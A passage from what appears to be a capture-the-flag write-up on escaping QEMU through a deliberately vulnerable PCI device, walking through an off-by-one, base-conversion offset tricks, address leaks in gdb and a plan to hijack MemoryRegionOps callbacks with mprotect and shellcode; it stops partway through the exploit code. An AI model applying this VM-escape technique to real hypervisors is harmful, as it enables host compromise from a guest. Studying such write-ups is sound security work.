            <span class="n">quememu</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">src</span> <span class="o">=</span> <span class="n">val</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="nl">default:</span>
            <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>As you can see, in this function we can define the offset, the source, and the base of the state structure. Also, in both functions, option <code class="language-plaintext highlighter-rouge">0</code> will call <code class="language-plaintext highlighter-rouge">trigger_rw</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">trigger_rw</span><span class="p">(</span><span class="n">bool</span> <span class="n">is_write</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">quememu</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">base</span> <span class="o">=</span> <span class="mh">0x10</span><span class="p">)</span> <span class="c1">// Don't change base cause we already use base 16</span>
    <span class="p">{</span>
        <span class="n">cpu_physical_memory_rw</span><span class="p">(</span><span class="n">quememu</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">src</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">quememu</span><span class="o">-&gt;</span><span class="n">buff</span><span class="p">[</span><span class="o">&amp;</span><span class="n">quememu</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">off</span><span class="p">],</span> <span class="n">MAX_RW</span><span class="p">,</span> <span class="n">is_write</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="kt">short</span> <span class="n">n</span> <span class="o">=</span> <span class="n">quememu</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">off</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span> <span class="n">multiplier</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span> <span class="n">new_off</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">n</span><span class="p">)</span><span class="o">*</span><span class="mi">2</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span>
	<span class="p">{</span>
        <span class="c1">// Use nibble % base (e.g. 7 in base 3 = 1)</span>
        <span class="n">new_off</span> <span class="o">+=</span> <span class="p">(</span><span class="n">consume_nibble</span><span class="p">(</span><span class="o">&amp;</span><span class="n">n</span><span class="p">)</span> <span class="o">%</span> <span class="n">quememu</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">base</span><span class="p">)</span> <span class="o">*</span> <span class="n">multiplier</span><span class="p">;</span>
		<span class="n">multiplier</span> <span class="o">*=</span> <span class="n">quememu</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">base</span><span class="p">;</span>
	<span class="p">}</span>
    <span class="n">cpu_physical_memory_rw</span><span class="p">(</span><span class="n">quememu</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">src</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">quememu</span><span class="o">-&gt;</span><span class="n">buff</span><span class="p">[</span><span class="n">new_off</span><span class="p">],</span> <span class="n">MAX_RW</span><span class="p">,</span> <span class="n">is_write</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This function may seem a bit confusing at first glance. Let’s analyze it in detail.</p>

<p>First of all, we must understand how the <code class="language-plaintext highlighter-rouge">QueMemuState</code> structure is defined:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">base_t</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span><span class="p">{</span>
    <span class="n">PCIDevice</span> <span class="n">pdev</span><span class="p">;</span>
    <span class="n">MemoryRegion</span> <span class="n">mmio</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">buff</span><span class="p">[</span><span class="n">BUFF_SIZE</span><span class="p">];</span>
    <span class="k">struct</span> <span class="p">{</span>
        <span class="n">base_t</span> <span class="n">base</span><span class="p">;</span>
        <span class="kt">short</span> <span class="n">off</span><span class="p">;</span>
		<span class="n">hwaddr</span> <span class="n">src</span><span class="p">;</span>
	<span class="p">}</span> <span class="n">state</span><span class="p">;</span>
<span class="p">}</span> <span class="n">QueMemuState</span><span class="p">;</span>
</code></pre></div></div>

<p>It contains a struct (<code class="language-plaintext highlighter-rouge">state</code>) that has a base (<code class="language-plaintext highlighter-rouge">unsigned char</code>), offset (<code class="language-plaintext highlighter-rouge">short</code>), and src (<code class="language-plaintext highlighter-rouge">hwaddr</code>). In addition, there is a <code class="language-plaintext highlighter-rouge">mmio</code> variable of type <code class="language-plaintext highlighter-rouge">MemoryRegion</code>. If we look at the documentation, we see that:</p>

<blockquote>
  <p>Memory is modelled as an acyclic graph of MemoryRegion objects. Sinks (leaves) are RAM and MMIO regions, while other nodes represent buses, memory controllers, and memory regions that have been rerouted.
There are multiple types of memory regions (all represented by a single <code class="language-plaintext highlighter-rouge">C</code> type <code class="language-plaintext highlighter-rouge">MemoryRegion</code>)…</p>
</blockquote>

<p>So, it is an abstraction that represents the different memory areas inside the virtual machine. If we combine it with what we have seen in the <code class="language-plaintext highlighter-rouge">pci_quememu_realize</code> function and with the following point of the documentation we can understand it a little better:</p>

<blockquote>
  <p>MMIO: a range of guest memory that is implemented by host callbacks; each read or write causes a callback to be called on the host. You initialize these with <code class="language-plaintext highlighter-rouge">memory_region_init_io</code>, passing it a MemoryRegionOps structure describing the callbacks.</p>
</blockquote>

<p>Going back to the <code class="language-plaintext highlighter-rouge">trigger_rw</code> function, if the base is <code class="language-plaintext highlighter-rouge">0x10</code> nothing special will happen, a simple call to <code class="language-plaintext highlighter-rouge">cpu_physical_memory_rw</code> will be made. In other case, the <code class="language-plaintext highlighter-rouge">new_off</code> will be calculated. For example, if the base is <code class="language-plaintext highlighter-rouge">20</code> and the offset is <code class="language-plaintext highlighter-rouge">0x1234</code> the algorithm will do the following:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">new_off</span> <span class="o">=</span> <span class="mh">0x4</span> <span class="o">*</span> <span class="p">(</span><span class="mi">20</span> <span class="o">**</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">new_off</span> <span class="o">+=</span> <span class="mh">0x3</span> <span class="o">*</span> <span class="p">(</span><span class="mi">20</span> <span class="o">**</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">new_off</span> <span class="o">+=</span> <span class="mh">0x2</span> <span class="o">*</span> <span class="p">(</span><span class="mi">20</span> <span class="o">**</span> <span class="mi">2</span><span class="p">)</span>
<span class="n">new_off</span> <span class="o">+=</span> <span class="mh">0x1</span> <span class="o">*</span> <span class="p">(</span><span class="mi">20</span> <span class="o">**</span> <span class="mi">3</span><span class="p">)</span>
</code></pre></div></div>

<p>So, <code class="language-plaintext highlighter-rouge">new_off = 0x22a0</code>. To sum up, the offset is interpreted in the base that we have provided and converted to hex. Let’s check it:</p>

<p><img class="post-img" src="/assets/posts/quememu-writeup/convert_base.png" alt="Convert Base" loading="lazy" /></p>

<h2 id="identifying-the-vulnerabilities">Identifying the vulnerabilities</h2>

<p>Now that we understand how the device works, we can start identifying the vulnerabilities.</p>

<p>In the <code class="language-plaintext highlighter-rouge">trigger_rw</code> function, the len used in <code class="language-plaintext highlighter-rouge">cpu_physical_memory_rw</code> is <code class="language-plaintext highlighter-rouge">MAX_RW</code> which is defined as follows:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define BUFF_SIZE 0x10000
#define MAX_BASE 20
#define MAX_RW BUFF_SIZE - (pow(MAX_BASE,3)*0x7 + pow(MAX_BASE,2)*0xF + MAX_BASE*0xF + 0xF - 1)
</span></code></pre></div></div>

<p>So, <code class="language-plaintext highlighter-rouge">MAX_RW = 0x10000 - 62314 = 3222</code></p>

<p>Knowing that <code class="language-plaintext highlighter-rouge">buff</code> has a size of <code class="language-plaintext highlighter-rouge">0x10000</code> and the largest offset we can achieve is <code class="language-plaintext highlighter-rouge">0x7fff</code> because <code class="language-plaintext highlighter-rouge">state.off</code> is a short. Moreover, the largest base is <code class="language-plaintext highlighter-rouge">20</code>. In this case, the value of <code class="language-plaintext highlighter-rouge">new_off</code> is <code class="language-plaintext highlighter-rouge">62315</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">new_off</span> <span class="o">=</span> <span class="mh">0xf</span> <span class="o">*</span> <span class="p">(</span><span class="mi">20</span> <span class="o">**</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">new_off</span> <span class="o">+=</span> <span class="mh">0xf</span> <span class="o">*</span> <span class="p">(</span><span class="mi">20</span> <span class="o">**</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">new_off</span> <span class="o">+=</span> <span class="mh">0xf</span> <span class="o">*</span> <span class="p">(</span><span class="mi">20</span> <span class="o">**</span> <span class="mi">2</span><span class="p">)</span>
<span class="n">new_off</span> <span class="o">+=</span> <span class="mh">0x7</span> <span class="o">*</span> <span class="p">(</span><span class="mi">20</span> <span class="o">**</span> <span class="mi">3</span><span class="p">)</span>
</code></pre></div></div>

<p>So, we have an off by one!!</p>

<p>The <code class="language-plaintext highlighter-rouge">cpu_physical_memory_rw</code> function will write to or read from <code class="language-plaintext highlighter-rouge">quememu-&gt;buff[62315]</code> <code class="language-plaintext highlighter-rouge">3222</code> bytes which means that we are writing/reading from <code class="language-plaintext highlighter-rouge">[62315, 0x10001]</code>.</p>

<p>The next question is, what can we modify with this off by one?</p>

<p>If you take a look at the <code class="language-plaintext highlighter-rouge">QueMemuState</code> structure, after the <code class="language-plaintext highlighter-rouge">buff</code> variable comes the <code class="language-plaintext highlighter-rouge">base</code> attribute and since the <code class="language-plaintext highlighter-rouge">base &lt;= MAX_BASE</code> check is only done in the <code class="language-plaintext highlighter-rouge">quememu_mmio_write</code> function with the <code class="language-plaintext highlighter-rouge">0x4</code> option, we can put an arbitrary base and get a bigger overflow.</p>

<p>Now, for example, we can modify the offset. Nevertheless, what’s our plan?</p>

<p>If we were able to modify the offset to a negative value, we could read or write to the <code class="language-plaintext highlighter-rouge">MemoryRegion</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="err">➤</span>  <span class="n">ptype</span> <span class="o">/</span><span class="n">ox</span> <span class="n">MemoryRegion</span>
<span class="n">type</span> <span class="o">=</span> <span class="k">struct</span> <span class="n">MemoryRegion</span> <span class="p">{</span>
<span class="cm">/* 0x0000      |  0x0028 */</span>    <span class="n">Object</span> <span class="n">parent_obj</span><span class="p">;</span>
<span class="cm">/* 0x0028      |  0x0001 */</span>    <span class="kt">_Bool</span> <span class="n">romd_mode</span><span class="p">;</span>
<span class="cm">/* 0x0029      |  0x0001 */</span>    <span class="kt">_Bool</span> <span class="n">ram</span><span class="p">;</span>
<span class="cm">/* 0x002a      |  0x0001 */</span>    <span class="kt">_Bool</span> <span class="n">subpage</span><span class="p">;</span>
<span class="cm">/* 0x002b      |  0x0001 */</span>    <span class="kt">_Bool</span> <span class="n">readonly</span><span class="p">;</span>
<span class="cm">/* 0x002c      |  0x0001 */</span>    <span class="kt">_Bool</span> <span class="n">nonvolatile</span><span class="p">;</span>
<span class="cm">/* 0x002d      |  0x0001 */</span>    <span class="kt">_Bool</span> <span class="n">rom_device</span><span class="p">;</span>
<span class="cm">/* 0x002e      |  0x0001 */</span>    <span class="kt">_Bool</span> <span class="n">flush_coalesced_mmio</span><span class="p">;</span>
<span class="cm">/* 0x002f      |  0x0001 */</span>    <span class="kt">_Bool</span> <span class="n">unmergeable</span><span class="p">;</span>
<span class="cm">/* 0x0030      |  0x0001 */</span>    <span class="kt">uint8_t</span> <span class="n">dirty_log_mask</span><span class="p">;</span>
<span class="cm">/* 0x0031      |  0x0001 */</span>    <span class="kt">_Bool</span> <span class="n">is_iommu</span><span class="p">;</span>
<span class="cm">/* XXX  6-byte hole      */</span>
<span class="cm">/* 0x0038      |  0x0008 */</span>    <span class="n">RAMBlock</span> <span class="o">*</span><span class="n">ram_block</span><span class="p">;</span>
<span class="cm">/* 0x0040      |  0x0008 */</span>    <span class="n">Object</span> <span class="o">*</span><span class="n">owner</span><span class="p">;</span>
<span class="cm">/* 0x0048      |  0x0008 */</span>    <span class="n">DeviceState</span> <span class="o">*</span><span class="n">dev</span><span class="p">;</span>
<span class="cm">/* 0x0050      |  0x0008 */</span>    <span class="k">const</span> <span class="n">MemoryRegionOps</span> <span class="o">*</span><span class="n">ops</span><span class="p">;</span>
<span class="cm">/* 0x0058      |  0x0008 */</span>    <span class="kt">void</span> <span class="o">*</span><span class="n">opaque</span><span class="p">;</span>
<span class="cm">/* 0x0060      |  0x0008 */</span>    <span class="n">MemoryRegion</span> <span class="o">*</span><span class="n">container</span><span class="p">;</span>
<span class="cm">/* 0x0068      |  0x0004 */</span>    <span class="kt">int</span> <span class="n">mapped_via_alias</span><span class="p">;</span>
<span class="p">...</span>
<span class="cm">/* total size (bytes):  272 */</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">MemoryRegionOps</code> seems familiar to you, right?</p>

<p>If not, review the <code class="language-plaintext highlighter-rouge">quememu_mmio_ops</code>.</p>

<p>The structure of <code class="language-plaintext highlighter-rouge">MemoryRegionOps</code> is as follows:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="err">➤</span>  <span class="n">ptype</span> <span class="o">/</span><span class="n">ox</span> <span class="n">MemoryRegionOps</span>
<span class="n">type</span> <span class="o">=</span> <span class="k">struct</span> <span class="n">MemoryRegionOps</span> <span class="p">{</span>
<span class="cm">/* 0x0000      |  0x0008 */</span>    <span class="kt">uint64_t</span> <span class="p">(</span><span class="o">*</span><span class="n">read</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">,</span> <span class="n">hwaddr</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span><span class="p">);</span>
<span class="cm">/* 0x0008      |  0x0008 */</span>    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">write</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">,</span> <span class="n">hwaddr</span><span class="p">,</span> <span class="kt">uint64_t</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span><span class="p">);</span>
<span class="cm">/* 0x0010      |  0x0008 */</span>    <span class="n">MemTxResult</span> <span class="p">(</span><span class="o">*</span><span class="n">read_with_attrs</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">,</span> <span class="n">hwaddr</span><span class="p">,</span> <span class="kt">uint64_t</span> <span class="o">*</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span><span class="p">,</span> <span class="n">MemTxAttrs</span><span class="p">);</span>
<span class="cm">/* 0x0018      |  0x0008 */</span>    <span class="n">MemTxResult</span> <span class="p">(</span><span class="o">*</span><span class="n">write_with_attrs</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">,</span> <span class="n">hwaddr</span><span class="p">,</span> <span class="kt">uint64_t</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span><span class="p">,</span> <span class="n">MemTxAttrs</span><span class="p">);</span>
<span class="cm">/* 0x0020      |  0x0004 */</span>    <span class="k">enum</span> <span class="n">device_endian</span> <span class="n">endianness</span><span class="p">;</span>
<span class="cm">/* XXX  4-byte hole      */</span>
<span class="cm">/* 0x0028      |  0x0018 */</span>    <span class="k">struct</span> <span class="p">{</span>
<span class="cm">/* 0x0028      |  0x0004 */</span>        <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">min_access_size</span><span class="p">;</span>
<span class="cm">/* 0x002c      |  0x0004 */</span>        <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">max_access_size</span><span class="p">;</span>
<span class="cm">/* 0x0030      |  0x0001 */</span>        <span class="kt">_Bool</span> <span class="n">unaligned</span><span class="p">;</span>
<span class="cm">/* XXX  7-byte hole      */</span>
<span class="cm">/* 0x0038      |  0x0008 */</span>        <span class="kt">_Bool</span> <span class="p">(</span><span class="o">*</span><span class="n">accepts</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">,</span> <span class="n">hwaddr</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span><span class="p">,</span> <span class="kt">_Bool</span><span class="p">,</span> <span class="n">MemTxAttrs</span><span class="p">);</span>

                                   <span class="cm">/* total size (bytes):   24 */</span>
                               <span class="p">}</span> <span class="n">valid</span><span class="p">;</span>
<span class="cm">/* 0x0040      |  0x000c */</span>    <span class="k">struct</span> <span class="p">{</span>
<span class="cm">/* 0x0040      |  0x0004 */</span>        <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">min_access_size</span><span class="p">;</span>
<span class="cm">/* 0x0044      |  0x0004 */</span>        <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">max_access_size</span><span class="p">;</span>
<span class="cm">/* 0x0048      |  0x0001 */</span>        <span class="kt">_Bool</span> <span class="n">unaligned</span><span class="p">;</span>
<span class="cm">/* XXX  3-byte padding   */</span>

                                   <span class="cm">/* total size (bytes):   12 */</span>
                               <span class="p">}</span> <span class="n">impl</span><span class="p">;</span>
<span class="cm">/* XXX  4-byte padding   */</span>

                               <span class="cm">/* total size (bytes):   80 */</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Great, so if we can read and write to <code class="language-plaintext highlighter-rouge">MemoryRegionOps</code> we can modify the callbacks and escape.</p>

<p>In the <code class="language-plaintext highlighter-rouge">trigger_rw</code> function, the <code class="language-plaintext highlighter-rouge">new_off</code> is unsigned so we can’t achieve our goal directly. However, if the base is <code class="language-plaintext highlighter-rouge">0x10</code> there is no base conversion so the offset is <code class="language-plaintext highlighter-rouge">quememu-&gt;state.off</code> which is a short. Now we have everything we need to get arbitrary read/write:</p>

<ol>
  <li>Trigger the off by one and modify the base to have a bigger overflow.</li>
  <li>Modify the offset to point anywhere we want (in this case to the <code class="language-plaintext highlighter-rouge">MemoryRegion</code> structure).</li>
  <li>Set the base to <code class="language-plaintext highlighter-rouge">0x10</code> to avoid unsigned short and interpret negative values correctly in the offset.</li>
</ol>

<p>In our case, if we set the base to <code class="language-plaintext highlighter-rouge">21</code> (<code class="language-plaintext highlighter-rouge">MAX_BASE+1</code>) we have to set the offset to, at least, <code class="language-plaintext highlighter-rouge">0x6f6b</code>. To calculate that number, we first calculated the offset needed to reach up to an offset of <code class="language-plaintext highlighter-rouge">0x10004</code> (in hexadecimal) from the buffer, and then translated it to base <code class="language-plaintext highlighter-rouge">21</code>. The reason why we have to get to at least <code class="language-plaintext highlighter-rouge">0x10004</code> and not <code class="language-plaintext highlighter-rouge">0x10003</code> is because there is a 1 byte padding between the <code class="language-plaintext highlighter-rouge">base</code> attribute and the <code class="language-plaintext highlighter-rouge">off</code> attribute:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="err">➤</span>  <span class="n">ptype</span><span class="o">/</span><span class="n">xo</span> <span class="n">QueMemuState</span><span class="o">*</span>
<span class="n">type</span> <span class="o">=</span> <span class="k">struct</span> <span class="p">{</span>
<span class="cm">/* 0x0000      |  0x0a30 */</span>    <span class="n">PCIDevice</span> <span class="n">pdev</span><span class="p">;</span>
<span class="cm">/* 0x0a30      |  0x0110 */</span>    <span class="n">MemoryRegion</span> <span class="n">mmio</span><span class="p">;</span>
<span class="cm">/* 0x0b40      | 0x10000 */</span>    <span class="kt">char</span> <span class="n">buff</span><span class="p">[</span><span class="mi">65536</span><span class="p">];</span>
<span class="cm">/* 0x10b40     |  0x0010 */</span>    <span class="k">struct</span> <span class="p">{</span>
<span class="cm">/* 0x10b40     |  0x0001 */</span>        <span class="n">base_t</span> <span class="n">base</span><span class="p">;</span>
<span class="cm">/* XXX  1-byte hole      */</span>
<span class="cm">/* 0x10b42     |  0x0002 */</span>        <span class="kt">short</span> <span class="n">off</span><span class="p">;</span>
<span class="cm">/* XXX  4-byte hole      */</span>
<span class="cm">/* 0x10b48     |  0x0008 */</span>        <span class="n">hwaddr</span> <span class="n">src</span><span class="p">;</span>

                                   <span class="cm">/* total size (bytes):   16 */</span>
                               <span class="p">}</span> <span class="n">state</span><span class="p">;</span>
                               <span class="cm">/* total size (bytes): 68432 */</span>
<span class="p">}</span> <span class="o">*</span>
</code></pre></div></div>

<p>So knowing that we want to reach to <code class="language-plaintext highlighter-rouge">0x10004</code> and that the amount written is <code class="language-plaintext highlighter-rouge">3222</code> bytes (as shown previously), the offset we need to set is <code class="language-plaintext highlighter-rouge">0x10004-3222 = 0xf36e</code> which in base <code class="language-plaintext highlighter-rouge">21</code> is <code class="language-plaintext highlighter-rouge">0x6f6b</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">hex2base</span><span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="n">base</span><span class="p">):</span>
    <span class="n">new_off</span> <span class="o">=</span> <span class="s">""</span>
    <span class="k">while</span> <span class="n">n</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
        <span class="n">tmp</span> <span class="o">=</span> <span class="n">n</span> <span class="o">%</span> <span class="n">base</span>
        <span class="n">new_off</span> <span class="o">+=</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">tmp</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="s">"</span>
        <span class="n">n</span> <span class="o">//=</span> <span class="n">base</span>
    <span class="k">return</span> <span class="s">"0x"</span> <span class="o">+</span> <span class="n">new_off</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="n">hex2base</span><span class="p">(</span><span class="mh">0xf36e</span><span class="p">,</span> <span class="mi">21</span><span class="p">))</span>
</code></pre></div></div>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 base_converter.py
0x6f6b
</code></pre></div></div>

<h2 id="explotation-estrategy">Explotation estrategy</h2>

<p>Now that we know how to escalate the off by one bug, and end up reading or writing to the <code class="language-plaintext highlighter-rouge">mmio</code> (<code class="language-plaintext highlighter-rouge">MemoryRegion</code>) atribute, we have to use that to read the flag. As we said earlier, our estrategy to do that will consist on achieving code execution by modifying the read and write callbacks with anything we want. In this case we will overwrite the write callback to call <code class="language-plaintext highlighter-rouge">mprotect</code> and the read callback to point to a controlled buffer (the <code class="language-plaintext highlighter-rouge">buff</code> atribute) where we will have our final shellcode that just opens the flag, reads from it and writes it to <code class="language-plaintext highlighter-rouge">stdout</code>. However, we have to solve another problem, which is our inability to directly control the first argument passed to <code class="language-plaintext highlighter-rouge">mprotect</code>, because the callback’s first argument is always <code class="language-plaintext highlighter-rouge">void *opaque</code>.</p>

<p>Before any of that, we obviously need to leak some addresses, in this case we only need to know what is the address of <code class="language-plaintext highlighter-rouge">mprotect</code> (or <code class="language-plaintext highlighter-rouge">mprotect@plt</code>) and what is the address of the buffer. We can know the address of <code class="language-plaintext highlighter-rouge">mprotect@plt</code> just by leaking any pie address and adding/subtracting offsets, in this case we will use the <code class="language-plaintext highlighter-rouge">const MemoryRegionOps *ops</code> atribute which, as we can see, is a pie address:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="err">➤</span>  <span class="n">p</span> <span class="n">quememu</span><span class="o">-&gt;</span><span class="n">mmio</span>
<span class="err">$</span><span class="mi">2</span> <span class="o">=</span> <span class="p">{</span>
  <span class="n">parent_obj</span> <span class="o">=</span> <span class="p">{</span>
    <span class="n">class</span> <span class="o">=</span> <span class="mh">0x555556e83490</span><span class="p">,</span>
    <span class="n">free</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">properties</span> <span class="o">=</span> <span class="mh">0x555557d03b60</span><span class="n">Python</span> <span class="n">Exception</span> <span class="o">&lt;</span><span class="n">class</span> <span class="err">'</span><span class="n">gdb</span><span class="p">.</span><span class="n">error</span><span class="err">'</span><span class="o">&gt;:</span> <span class="n">There</span> <span class="n">is</span> <span class="n">no</span> <span class="n">member</span> <span class="n">named</span> <span class="n">keys</span><span class="p">.</span>
<span class="p">,</span>
    <span class="n">ref</span> <span class="o">=</span> <span class="mh">0x1</span><span class="p">,</span>
    <span class="n">parent</span> <span class="o">=</span> <span class="mh">0x555557d91230</span>
  <span class="p">},</span>
  <span class="n">romd_mode</span> <span class="o">=</span> <span class="mh">0x1</span><span class="p">,</span>
  <span class="n">ram</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
  <span class="n">subpage</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
  <span class="n">readonly</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
  <span class="n">nonvolatile</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
  <span class="n">rom_device</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
  <span class="n">flush_coalesced_mmio</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
  <span class="n">unmergeable</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
  <span class="n">dirty_log_mask</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
  <span class="n">is_iommu</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
  <span class="n">ram_block</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
  <span class="n">owner</span> <span class="o">=</span> <span class="mh">0x555557d91230</span><span class="p">,</span>
  <span class="n">dev</span> <span class="o">=</span> <span class="mh">0x555557d91230</span><span class="p">,</span>
  <span class="n">ops</span> <span class="o">=</span> <span class="mh">0x555556a4b460</span> <span class="o">&lt;</span><span class="n">quememu_mmio_ops</span><span class="o">&gt;</span><span class="p">,</span>
  <span class="n">opaque</span> <span class="o">=</span> <span class="mh">0x555557d91230</span><span class="p">,</span>
  <span class="n">container</span> <span class="o">=</span> <span class="mh">0x555556f1e6e0</span><span class="p">,</span>
  <span class="n">mapped_via_alias</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
<span class="p">...</span>
<span class="p">}</span>
<span class="n">gef</span><span class="err">➤</span>  <span class="n">vmmap</span> <span class="mh">0x555556a4b460</span>
<span class="p">[</span> <span class="n">Legend</span><span class="o">:</span>  <span class="n">Code</span> <span class="o">|</span> <span class="n">Heap</span> <span class="o">|</span> <span class="n">Stack</span> <span class="p">]</span>
<span class="n">Start</span>              <span class="n">End</span>                <span class="n">Offset</span>             <span class="n">Perm</span> <span class="n">Path</span>
<span class="mh">0x000055555622e000</span> <span class="mh">0x0000555556c05000</span> <span class="mh">0x0000000000cd9000</span> <span class="n">r</span><span class="o">--</span> <span class="p">.</span><span class="o">/</span><span class="n">qemu</span><span class="o">-</span><span class="n">system</span><span class="o">-</span><span class="n">x86_64</span>
</code></pre></div></div>

<p>The address of the buffer can be calculated based on the address of the whole <code class="language-plaintext highlighter-rouge">QueMemuState</code> structure, which we can obtain from the atribute <code class="language-plaintext highlighter-rouge">owner</code>.</p>

<p>For the final part of the exploit we have to setup a fake <code class="language-plaintext highlighter-rouge">MemoryRegionOps</code> structure and overwrite the <code class="language-plaintext highlighter-rouge">ops</code> atribute from the <code class="language-plaintext highlighter-rouge">MemoryRegion</code> to point to it:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">setup_fake_ops</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">hva_mprotect_plt</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">hva_qmemu_buff</span><span class="p">)</span>
<span class="p">{</span>
	<span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="o">**</span><span class="p">)(</span><span class="n">gva_buff</span> <span class="o">+</span> <span class="n">MREG_SIZE</span><span class="p">)</span> <span class="o">=</span> <span class="n">hva_qmemu_buff</span><span class="o">+</span><span class="mh">0x60</span><span class="p">;</span> <span class="c1">// fake read</span>
	<span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="o">**</span><span class="p">)(</span><span class="n">gva_buff</span> <span class="o">+</span> <span class="n">MREG_SIZE</span> <span class="o">+</span> <span class="mh">0x8</span><span class="p">)</span> <span class="o">=</span> <span class="n">hva_mprotect_plt</span><span class="p">;</span> <span class="c1">// fake write</span>
	<span class="n">memcpy</span><span class="p">(</span><span class="n">gva_buff</span> <span class="o">+</span> <span class="n">MREG_SIZE</span><span class="o">+</span><span class="mh">0x60</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">SHELLCODE_SIZE</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">overwrite_ops</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">hva_mprotect_plt</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">hva_qmemu_buff</span><span class="p">)</span>
<span class="p">{</span>
